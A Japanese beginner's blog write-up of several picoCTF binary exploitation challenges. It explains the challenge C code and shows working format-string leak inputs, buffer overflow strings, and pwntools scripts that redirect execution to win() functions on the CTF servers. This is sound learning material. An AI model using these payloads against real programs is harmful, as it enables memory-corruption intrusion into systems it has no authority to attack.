PicoCTFのらいとあっぷみたいなやつ。(binary Exploitationの旅)

はじめに

picoCTFに取り組んで行くときの考えていたことを書き記す。writeupというより、解いた道筋を書いていますので、最短距離を知りたい人にとっては意味わからないものかもしれません。ご了承ください。begginerのお戯れと思って暖かく見守っていただければ幸いです。バッファオーバーフローをやってみたいので取り組む。それでもまずは10000solves以上のものに取り組んで行こうと思う。(全体的にsolves数が低いのでビビってますw)その次に1000solves以上を解いていきたいと思います。

開閉

Stonks

I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure! という言葉とともにcのコードとnc mercury.picoctf.net 27912のコマンドが与えられている。 コマンドを実行すると、接続先でcのコードが実行される仕組みだと考えられる。 ※StonksとはStocks(株)のわざとした誤字のようです。つまり、自動的に株取引をするコードってことかな。

回答に関係ないコードについて素人がたらたら書いてます。なので省略!

見たい人はクリック

さて、せっかくのCTFなので、機能を分解して答えに近づこうと思います。

  • setbuf:https://daeudaeu.com/c-setbuf/#setbufを見て学んだ。ストリームのバッファの設定を行っているようだ。stdoutは標準出力。 NULLは関数内部でメモリが確保される。stdoutをノンバッファリングに設定しているらしい。
  • srand:rand関数で発生させる擬似乱数の発生系列を変更するようだ。srand

  • Portfolio:portfolio型には、int型のmoneyとstonk方のheadとういうポインタが定義されている。
  • stonk:int型のsharesとchar型のsymbol配列、次のstonksのポインタがある。stonkがつながっている構造なのだろうか?

さて、portfolioを初期化する関数がある。portfolioのポインタから、mallocで領域を確保し、2018未満のランダムなmoneyを定義、headはnullのようだ。ここまでで、正しくportfolioが作られていないとif文ではじかれるようだ。
そして、respというものを初期化して、printfを実行したのちに、respをこっちで決める。それにより、buy_stonksかveiw_portfolioを実行。portfolioで確保していた領域を解放して終了となる。


view_portfolioではまず与えられたpが存在しないなら異常終了。 その後に、stdoutに記述されているものをfflushする動作が行われているのかな? 改行されたのちに、stonk型のheadポインタに与えられたpのheadポインタを代入している。 このheadがないとyou don't own any stonksが返ってくる。 headが孫あいするとheadのshareとsymbolが出力され、stonk内のnextがheadに格納されて、nextがなくなるまで出力される。
buy_stonksはapi_bufというものにflag領域を確保しているように思う。 ファイルapiを読み込みモードで開いている。fがなかったら異常終了。 fgets関数はファイルから文字列を一行取得してくれる関数 https://bituse.info/c_func/28
つまり、api_bufにFLAG_BUF分の文字をfから持ってくるということかな。

moneyはpのmoneyであり、sharesは0に設定される。 while内を見ていく。 sharesはmoney未満のランダムな数値。 tempはpick_symbol_with_AIという関数を実行している。 tempのnextはpのヘッダが格納され、pのheadにこのtempを格納、moneyはshares分引く。 ここが、moneyがマイナスになるまでstonksを購入するということだろうか。 それから、なぜかAPIトークンを入力するよう問われ、トークンを用いて安全にstonksを購入したといわれる。 そのあと、ポートフォリを表示される。


pick_symbol_with_AIについて、一つのstonkを作って、引数のsharesをそのstonkに格納。 そのあと、symbolをつくっているようだ。次のstonkはなしでstonkを返す。


結局flagに関係しているbuy_stonksのfgetsされたapi_bufを手に入れることだと思おう。 鍵になるのはuser_bufのscanfでの入力とprintの出力だと思う。バッファオーバーフローでも、入力で脆弱性を攻撃していくので。

これ以上はお手上げ。WriteUpを参考にする。picoCTF Practice Writeup 1 #CTF - Qiita

Format String Exploitという攻撃が使用できそうだそうです。初耳学。

知識(Format String Exploit)
Format String Exploit Format String Attack〜printfの脆弱性への攻撃〜 %sのように変換指定子を使わずにprintfを使用すると攻撃者が出力内容をコントロールできてしまう。 printfはスタックの内容を表示してしまうようだ。 title, Loading... - おのかちお's blog

ちなみに%pはアドレスを16進数で出力する変換指定子のようです。まだ理解できていない模様。 user_bufもapi_bufもchar型なので、スタックへの格納されている型もchar型で入っているのだろうか?ならchar型の変換指定子で入力するとよいのか?
%cではダメみたい。

よくわからんのでもう少しお勉強かな。

知識(変換指定子)
変換指定子 次の知識でprintfを扱うので、その前に変換指定子について理解しようと思う。 出力書式のまとめ 変換指定子 - printf出力書式まとめ - 碧色工房 何かしらの数値を変換指定子の規則をもとにある数値や文字に変換するような感じで使われる。

%xは変数の値を16進数で出力してくれるっぽい。

#include <stdio.h>

int main(void){
    char b[1] = "a";
    int a = 11;
    printf("%x", b[0]);
    printf("%x", a);
    return 0;
}
└─# ./a.out
61b

これでflagが格納されている中身を見ることができる。 また、 https://www.delftstack.com/ja/howto/c/p-in-c/

#include<stdio.h>

void main() 
{
    int i=100;
    printf("%d\n",i);
    int *pointer = &i;
    printf("%p\n",i);
    printf("%p\n",pointer);
}
└─# ./a.out
100
0x64
0x7ffc65b3b084

以上の実行からポインタ先を%pで選ぶとその中身の値を16進数で出力するようだ。 ポインタを%pするとそのアドレスを出力する。 つまり、スタックに積んである数値をどのように出力するかを変換指定子で決めているのかな?

知識(printf)
printfについて 少しだけprintfについて学ぶ。【C言語】printf(), sprintf(), fprintf()の違い、それぞれの仕組みについてこれが分かりやすいと思った。何かしらの文字列をファイルに入力することが標準出力としてディスプレイに出るような感じだろう。

以上のことから、%x,%pが良さそう。自分は%xで実行してみた。 %x,を50くらい入力して実行。そうすると16進数が返ってくる。

└─# nc mercury.picoctf.net 27912
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
Buying stonks with token:
95ab3d0,804b000,80489c3,f7f40d80,ffffffff,1,95a9160,f7f4e110,f7f40dc7,0,95aa180,2,95ab3b0,95ab3d0,6f636970,7b465443,306c5f49,345f7435,6d5f6c6c,306d5f79,5f79336e,32666331,30613130,ffbd007d,f7f7baf8,f7f4e440,29053200,1,0,f7dddce9,f7f4f0c0,f7f405c0,f7f40000,ffbdb928,f7dce68d,f7f405c0,8048eca,ffbdb934,0,f7f62f09,804b000,f7f40000,f7f40e20,ffbdb968,f7f68d50,f7f41890,29053200,f7f40000

この実行結果をASCIIに変換する。

└─# echo 95ab3d0,804b000,80489c3,f7f40d80,ffffffff,1,95a9160,f7f4e110,f7f40dc7,0,95aa180,2,95ab3b0,95ab3d0,6f636970,7b465443,306c5f49,345f7435,6d5f6c6c,306d5f79,5f79336e,32666331,30613130,ffbd007d,f7f7baf8,f7f4e440,29053200,1,0,f7dddce9,f7f4f0c0,f7f405c0,f7f40000,ffbdb928,f7dce68d,f7f405c0,8048eca,ffbdb934,0,f7f62f09,804b000,f7f40000,f7f40e20,ffbdb968,f7f68d50,f7f41890,29053200,f7f40000 | tr "," "\n" | xxd -r -p
����H�?@�������N@�p����;   Z��ocip{FTC0l_I4_t5m_ll0m_y_y3n2fc10a10��}�������@)2����������������(��������H���ۓ@��/      �K@@��ۖ�h�A��S @

flagっぽいのが見えてきた。picoがocipになっているのはスタックがリトルエンディアンを用いているからだそうです。 リトルエディアンをビックエディアンに変換する。ツールCyberChefで16進数にしてからエディアン変換して16進数からASCIIにする。終了。

考察 format string exploitを初めて知った。脆弱性などは知らないと厳しい。知っていくしかな。また、CTFではコードすべてを理解する必要はない。また、自分の環境での実行結果とncした先での実行結果は異なる。自分の環境では実行するより、中身を確認するのに徹するのがよさそう。

[2023/09/11]

[2024/01/29]

basic-file-exploit

The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it! Connect to the program with netcat: $ nc saturn.picoctf.net 65353 The program's source code with the flag redacted can be downloaded here. ということで、cファイルを渡された。やっぱりコードを解釈しないと難しいので前回と同様にざっとコードを見ていく。
回答に関係ないコードについて素人がたらたら書いてます。なので省略!

見たい人はクリック

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>

#define WAIT 60

static const char* flag = "[REDACTED]";

static char data[10][100];
static int input_lengths[10];
static int inputs = 0;

int main(int argc, char** argv) {
  char input[3] = {'\0'};
  long command;
  int r;

  puts("Hi, welcome to my echo chamber!");
  puts("Type '1' to enter a phrase into our database");
  puts("Type '2' to echo a phrase in our database");
  puts("Type '3' to exit the program");

  while (true) {   
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }
    
    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");
    } else if (command == 1) {
      data_write();
      puts("Write successful, would you like to do anything else?");
    } else if (command == 2) {
      if (inputs == 0) {
        puts("No data yet");
        continue;
      }
      data_read();
      puts("Read successful, would you like to do anything else?");
    } else if (command == 3) {
      return 0;
    } else {
      puts("Please type either 1, 2 or 3");
      puts("Maybe breaking boundaries elsewhere will be helpful");
    }
  }

  return 0;
}

まずは定義されているものとmain関数を見ていく。 定義されているものの予測は

  • flag
  • 書き込むデータを格納するdata
  • 書き込む文字の最大値input_lengths
  • 書き込まれたものの数inputs

後々わかったら編集します。 さて、メイン内では、 ユーザーからの入力を受けるinputと実行するものを確定させるcommand、なぞのrが定義されている。
仕様としては、1で書き込み、2で読み出し、3で終了のようだ。
rはtgetinputという自作の関数の出力で定義されている。この関数は後々見ていきます。ちなみにr==-3なら終了。

ここからcommandを計算して、それぞれの数字に対応するものを実行していく。
まずcommandはstrtol関数で定義されいている。軽く調べるとinputで入ってきた文字型の数字をlong型の数字にするようだ。
そして、commandが1ならdata_write()、2ならdata_read()、3なら正常終了、そのほかなら正常にするよな文字列を返す処理を行う。ここまでではflagはグローバル変数に定義されたくらいしかわからない。まあ、入力するとこも少ないのでオバーフローもできなさそう。

int tgetinput(char *input, unsigned int l)
{
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;
    
    if( l <= 0 )
    {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }
    
    
    /* Empty the FD Set */
    FD_ZERO(&input_set );
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
    /* Here, first parameter is number of FDs in the set, 
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case. 
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    } 

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}

次にrに代入された関数(tgetinput)を見ていく。inputが正当なものかを調べるものかな?エラーだとそれに合わせた負の値を返す感じ。mainをざっと見ただけではwhileのすぐ次にしか出ていないが、data_writeやdata_readの中で利用されている。
第2引数の数値が0以下だとエラーになる。

知識(FD(ファイルディスクリプタ))
FD (ファイルディスクリプタって何?仕組みとWindowsのC言語) を参考にした。OSがプログラムがアクセスするファイルの標準入出力などを識別するための識別子。

fdの集合がfd_set型で定義される(select関数を用いた標準入力の監視【Linux / C言語】).FD_ZEROがその集合を初期化する。FD_SETがFDの集合にあるFDをセットする。STDIN_FILENOは標準入力(0)を表している。select関数はFDを監視する。selectの戻り値は正の値は変化のあったFDの数、0はタイムアウト、-1はエラー発生である。(【C言語】select関数の使い方、間違っていませんか?)。よって、ready_for_readingは読み込み可能なfdを数えているということかな?-1はエラー。

知識(if文)
if文の条件式について ゼロの時に偽、ゼロ以外なら真である。真のときに条件成立。

read()関数はファイルデスクリプタから読み込むようだ。第一引数がfdを選択、2がデータを保存する領域、3が読み込むバイト数。\0はヌル文字というらしい。ここで文字列の入力を要求、inputに格納するようだ。 つまり、tgetinput関数は入力文字を受け取り、inputに格納とまた、文字列の長さlを受け取り、 * -2:引数ミス(第二引数) * -1:エラーが起こった。 * -3:タイムアウト * -4:読み込むデータなし。 を返す関数。なので、入力を受けて動作する今回はtgetinputでinput(何をするかのcommand、何を書き込むかのinput)を受け取っているということ、

static void data_write() {
  char input[100];
  char len[4];
  long length;
  int r;
  
  printf("Please enter your data:\n");
  r = tgetinput(input, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }
  
  while (true) {
    printf("Please enter the length of your data:\n");
    r = tgetinput(len, 4);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }
  
    if ((length = strtol(len, NULL, 10)) == 0) {
      puts("Please put in a valid length");
    } else {
      break;
    }
  }

  if (inputs > 10) {
    inputs = 0;
  }

  strcpy(data[inputs], input);
  input_lengths[inputs] = length;

  printf("Your entry number is: %d\n", inputs + 1);
  inputs++;
}

書き込みなので、tgetinputで入力を受け取り、長さの入力も要求。10個しか記憶できないのでそれ以上なら0に書き込む。inputsを1つ大きくして終了。

static void data_read() {
  char entry[4];
  long entry_number;
  char output[100];
  int r;

  memset(output, '\0', 100);
  
  printf("Please enter the entry number of your data:\n");
  r = tgetinput(entry, 4);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }
  
  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

  entry_number--;
  strncpy(output, data[entry_number], input_lengths[entry_number]);
  puts(output);
}

memset関数ではメモリに指定バイト数の値をセットする。(C言語 memset 使い方)。つまり、はじめのmemset(output, '\0', 100);でoutputにヌル文字100個をセット(確保)したことになる。そして、出力したいentryナンバーを入力するとそれをもとにdataからデータが持ってこられて、出力される。

data_read()の中でflagを出力させる関数あり。でもエントリーが0ならflag出すって言ってない?なら最初からデータを読み込む(最初に2を選択)を行い、そして、0においてあるものを表示してもらえばよいのではないか?

└─# nc saturn.picoctf.net 65353
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
2
2
No data yet

さすがになにも入れてない時の処理はありますね。1つ何でもよいので入れてから2を選択して0番目のものを見せてもらう。

1
1
Please enter your data:
kakaka
kakaka
Please enter the length of your data:
6
6
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
0
0
picoCTF{

終了。

考察 振り返ると簡単だった。バッファオーバーフローを行うようなものだと思っていたので、コードを解釈すれば終わるので良かった。しかし、時間がかかりすぎる。競技だったらもう少し工夫が必要そうだ。

buffer overflow 0

Smash the stack Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. And connect with it using: nc saturn.picoctf.net 55984
まずは序の口ということかな?バッファオーバーフローやってみようじゃないか。

見たい人はクリック

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

flagが定義されて、sigsegv_handler関数でflagを出力するようだ。

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

inputに入れられた文字をbuf2にコピーしている。

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

fにflagがあるようだ。

一応実行してみた。

└─# nc saturn.picoctf.net 55984
Input: kkkk
The program will exit now

シンプルに入力させるプログラムである。 戻り値をsigsegv_handlerにすればいいのではないだろうか

flagに関係するのはsigsegv_handlerとfgetsである。

知識(fgets)
fgets (C言語 fgets 使い方)を参考にした。つまり、第三引数から最大第二引数の数だけ第一引数に代入する関数と思われる。第三引数を標準入力から持ってくることもできるようだ。

つまり、fgetsではただflagをファイルから持ってきているだけ。
次にsigsegv_handlerについてmainではsignal関数で使われている。

知識(signal(c言語))
signal(c言語) (【C言語】signalとsigactionの使い方を分かりやすく解説)を参考にした。「シグナルが送られたときに、どういう処理をするのか」を決める関数だそうだ。ctrl+cというシグナルが起きた時に何をするかを決めているそうだ。

今回のsignalではSIGSEGVシグナルを受け取るとsigsegv_handlr関数が実行されるようだ。

知識(SIGSEGV)
SIGSEGV (セグメント不正のデバッグ)を参考にした。プログラムが使用可能なメモリー範囲外のメモリーアドレスを参照したことを示します。だそうです。

つまり、メモリー使用外を参照するとsigsegv_handlerが実行されるということかな。

次にgidについて少々。

知識(gid)
gid (「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典)を参考にした。ユーザーをグル―プに分けていることがある。そのグループのIDがgidだそうだ。

gidを設定しているようだが、あまりわからん。

知識(fflush)
fflush (C言語の「fflush関数」を解説!知っておくとデバッグにも役立つよ!) 参考にfflush関数を一応理解した。

一連の流れから、buf1を宣言、getsでbuf1の入力を求める。vulnでbuf2にbuf1をコピーして終了というプログラム。予想では触れてはいけないメモリ領域に触れてみたらいいと思う。

知識(バッファオーバーフロー)
バッファオーバーフロー (CTFで学ぶ脆弱性(スタックバッファオーバーフロー編・その1))を参考にした。つまり、プログラムの想定以上のバッファー領域を埋めることで攻撃を引き起こすやつ。

つまり、今回のプログラム作成者の想定以上のバッファーを使えばSIGSEGVを引き起こし、シグナルを起こし、sigsegv_handlerを実行させると予想する。
そこで思ったのが、buf1をbuf2にコピーする関数vuln。buf2は16バイトしか入らないがbuf1は100バイト入ってしまう。ここで、バッファオーバーフローが起こる。よって16より多くの文字を入力すればよい。

└─# nc saturn.picoctf.net 55984
Input: kkkkkkkkkkkkkkkkkkkk
picoCTF{

終了。

buffer overflow 1

Control the return address Now we're cooking! You can overflow the buffer and return to the flag function in the program. You can view source here. And connect with it using nc saturn.picoctf.net 52141

見たい人はクリック

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

bufにflagが読み込まれ、printfで出力されているようだ。

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

bufsize=32がセットされて、それを入力すると、printfでどこかに戻れと言われるようだ。

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

まずは実行してみる。

└─# nc saturn.picoctf.net 52141
Please enter your string:
aaaaaaaaaa
Okay, time to return... Fingers Crossed... Jumping to 0x804932f

戻る場所を指定された。戻り値を変えないといけないようだ。しかし、わからん。よくある問題はアドレスの場所やスタックを表示してくれることが多く。どれだけ埋めればいいかわからん。いっちょ思いっきり入れてみました。

└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccaaaaaaaaaabbbbbbbbbbccccccccccaaaaaaaaaabbbbbbbbbbcccccccccc
Okay, time to return... Fingers Crossed... Jumping to 0x62626262

お。変わりましたね、0x62はbなので41-50くらいがリターンアドレスが入っていると考えられる。

└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee
Okay, time to return... Fingers Crossed... Jumping to 0x65656565

└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeee
Okay, time to return... Fingers Crossed... Jumping to 0x8040065

└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeee
Okay, time to return... Fingers Crossed... Jumping to 0x8049300

└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeee
Okay, time to return... Fingers Crossed... Jumping to 0x804932f

ここで└─# objdump -d -M intel vulnを実行してメモリ情報を見る。

080491f6 <win>:
08049281 <vuln>:
080492c4 <main>:
804931b:       8d 83 a0 e0 ff ff       lea    eax,[ebx-0x1f60]
 8049321:       50                      push   eax
 8049322:       e8 59 fd ff ff          call   8049080 <puts@plt>
 8049327:       83 c4 10                add    esp,0x10
 804932a:       e8 52 ff ff ff          call   8049281 <vuln>
 804932f:       b8 00 00 00 00          mov    eax,0x0
 8049334:       8d 65 f8                lea    esp,[ebp-0x8]
 8049337:       59                      pop    ecx

つまり、vulnが終わって戻る位置が0x804932fと言っている。ここをwinの始まりに返ればできるということではなかろうか。
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeの後ろに080491f6になるように入力すればいいのではないだろうか。

└─# nc saturn.picoctf.net 61242
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeee080491f6
Okay, time to return... Fingers Crossed... Jumping to 0x39343038

そうそううまくはいきませんね。0x39343038は9408とASCII文字で読み込まれているようだ。また、0がなくなっているので桁数も確認。そして何より、リトルエンディアンで読み込まれているようでもある。これ以降がどうしてもわからなかった。powershellでの入力はどうしてもASCIIコードで読み込まれてしまう。
writeUp(【入門】はじめてのバッファオーバーフロー)を参考にしました。gdbを使えばもっとスマートにアドレス領域が分かったようだ。pythonを用いて入力は送るのがよさそう。(Pwntoolsの機能と使い方まとめ【日本語】#CTF #Pwn)pythonを用いたpwnのやり方はこれを見て学ぶ。

from pwn import *

io = remote("saturn.picoctf.net",59751)

st = pack(0x080491f5, word_size='all', endian='little')

s =b"aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeee" + st

io.sendline(s)
io.interactive()

として実行したら成功。

考察 gdbを用いたdisassembleをもう少し理解したいかも。手を動かすが良い。pythonを用いることで実行できるpwnできることを知れてよかった。これから使っていこうと思う。
また、バッファオーバーフローの手順として、

  1. bufoverflowできる関数があるかの確認。buf[],gets関数。
  2. バッファーと戻りアドレス値を知る。
  3. その差を任意の文字で埋める。
  4. そのあと実行したい戻り値を入力 簡単に以上の手順であると考えた。

heap 1

Can you control your overflow? Download the binary here. Download the source here. Connect with the challenge instance here: nc tethys.picoctf.net 62635 ということで、オーバーフロー。先と似ている。ただflagの表示条件が異なるようだ。

void check_win() {
    if (!strcmp(safe_var, "pico")) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

ということで、safe_varがpicoになればよさそう。先と同様、32bytesの距離があるので、"32bytes+pico"とすればsafe_varはpicoになる。入力して終了。

heap 2

Can you handle function pointers? Download the binary here. Download the source here. Connect with the challenge instance here: nc mimas.picoctf.net 61265 ということで、同じような問題。

void win() {
    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);
}

勝ちの条件が先と異なる。ここの関数に飛ばすことが目標のようだ。バッファオーバーフローらしい問題。check_win()ではvoid check_win() { ((void (*)())*(int*)x)(); }という関数が定義されている。AIに聞いてみるとこれはxの値を関数ポインタとして解釈して、その関数を実行するようだ。つまり、xの値をwin関数の始まりに設定すればよい。いろいろ打っていてどうにもできない。

Legend: code, data, rodata, value
check_win () at chall.c:22
22      void check_win() { ((void (*)())*(int*)x)(); }
gdb-peda$ p x
$15 = 0x1e896d0 "411111"
gdb-peda$ p *x
$16 = 0x34
gdb-peda$ p (int*)x
$17 = (int *) 0x1e896d0
gdb-peda$ p *(int*)x
$18 = 0x31313134

gdbして値を見ていた。xの中身が4111としたときにそれをアドレスとすると0x31313134とリトルエディアン+asciiコードで解釈されている。そりゃうまくいかないわけだ。pwntoolsを用いて行う。xがchar型のポインタであるのがめんどくさくしている。

Dump of assembler code for function win:
   0x00000000004011a0 <+0>:     push   rbx
   0x00000000004011a1 <+1>:     sub    rsp,0x40

から、win関数は0x00000000004011a0から始まると予想。

from pwn import *

io = remote('mimas.picoctf.net', 62985)

st = b'111111111122222222223333333333440x4011a0'
print(io.recvuntil(b"Enter your choice:"))
io.sendline(b'2')
io.sendline(st)

print(io.recvuntil(b"Enter your choice:"))
io.sendline(b'3')
print(io.recvuntil(b"Enter your choice:"))
io.interactive()

というコードを作ったが違うようだ。リトルエディアンを気にしたがそれも違うようだ。何が違うのかはわからない。
自身のブログのbinary exliptionを参考に以下のコードを作ったらできた。

from pwn import *

io = remote('mimas.picoctf.net', 64936)

st2 = pack(0x004011a0, word_size='all', endian='little')
st = b'11111111112222222222333333333344' + st2
print(io.recvuntil(b"Enter your choice:"))
io.sendline(b'2')
io.sendline(st)

print(io.recvuntil(b"Enter your choice:"))
io.sendline(b'3')
print(io.recvuntil(b"Enter your choice:"))
io.interactive()

リトルエディアンやメモリについて少しわかった気がした。

format string 0

Can you use your knowledge of format strings to make the customers happy? Download the binary here. Download the source here. Connect with the challenge instance here: nc mimas.picoctf.net 54770

ということで、c言語ソースコードとファイルが渡された。

└─# file format-string-0
format-string-0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=73480d84a806aebddd86602609fcab2052c8fa13, for GNU/Linux 3.2.0, not stripped

実行ファイルのようだ。gdbにでも活用できそう。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 32
#define FLAGSIZE 64

char flag[FLAGSIZE];

void sigsegv_handler(int sig) {
    printf("\n%s\n", flag);
    fflush(stdout);
    exit(1);
}

ここの関数を呼び出してflagを表示させるようだ。

int on_menu(char *burger, char *menu[], int count) {
    for (int i = 0; i < count; i++) {
        if (strcmp(burger, menu[i]) == 0)
            return 1;
    }
    return 0;
}

ここで入力されたものがそのメニュー内にあるかを判定するようだ。(【C言語入門】文字列を比較する方法(strcmp、strncmp))

void serve_patrick();

void serve_bob();


int main(int argc, char **argv){
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        printf("%s %s", "Please create 'flag.txt' in this directory with your",
                        "own debugging flag.\n");
        exit(0);
    }

    fgets(flag, FLAGSIZE, f);
    signal(SIGSEGV, sigsegv_handler);

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    serve_patrick();
  
    return 0;
}

signal関数が気になる。他のブログで書いていると思う。第一引数に定義されたエラーが発生すると第二引数の関数を実行するというもの。SIGSEGVを発生させるとflagが回収できそう。入ってはいけないメモリ領域に入ると起こるようだ。バッファオーバーフローを起こせばいいのかな?

void serve_patrick() {
    printf("%s %s\n%s\n%s %s\n%s",
            "Welcome to our newly-opened burger place Pico 'n Patty!",
            "Can you help the picky customers find their favorite burger?",
            "Here comes the first customer Patrick who wants a giant bite.",
            "Please choose from the following burgers:",
            "Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice1[BUFSIZE];
    scanf("%s", choice1);
    char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
    if (!on_menu(choice1, menu1, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        int count = printf(choice1);
        if (count > 2 * BUFSIZE) {
            serve_bob();
        } else {
            printf("%s\n%s\n",
                    "Patrick is still hungry!",
                    "Try to serve him something of larger size!");
            fflush(stdout);
        }
    }
}

int count = printf(choice1)で定義されるcountがcount > 2 * BUFSIZEを満たさないといけないようだ。BUFSIZEは32と定義しているので64以上でなければならない。"Gr%114d_Cheese"を選ばないとこれは超えない。

#include <stdio.h>

int main(){
    int count = printf("Gr%114d_Cheese");
    printf("%d", count);
    return 0;
}

というコードを実行するとGr 559036360_Cheese123となった。つまり、123文字として扱われた。表示桁数も文字列の数として定義されるようだ。

void serve_bob() {
    printf("\n%s %s\n%s %s\n%s %s\n%s",
            "Good job! Patrick is happy!",
            "Now can you serve the second customer?",
            "Sponge Bob wants something outrageous that would break the shop",
            "(better be served quick before the shop owner kicks you out!)",
            "Please choose from the following burgers:",
            "Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice2[BUFSIZE];
    scanf("%s", choice2);
    char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
    if (!on_menu(choice2, menu2, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        printf(choice2);
        fflush(stdout);
    }
}

ハンバーガーの名前に%sのような文字列がある。これによって見れてはいけないところを見れるという仕組みのようだ。なので、選択に%sがあるのを選べばflagゲット。これは%sによって表示されたのか、signal(SIGSEGV, sigsegv_handler);が実行されたのだろうか?あまりわからない。可能性が高いのは後者かな。

heap 0

Are overflows just a stack concern? Download the binary here. Download the source here. Connect with the challenge instance here: nc tethys.picoctf.net 63061
オーバーフロー以外の攻撃手法を使う問題のような気がする。

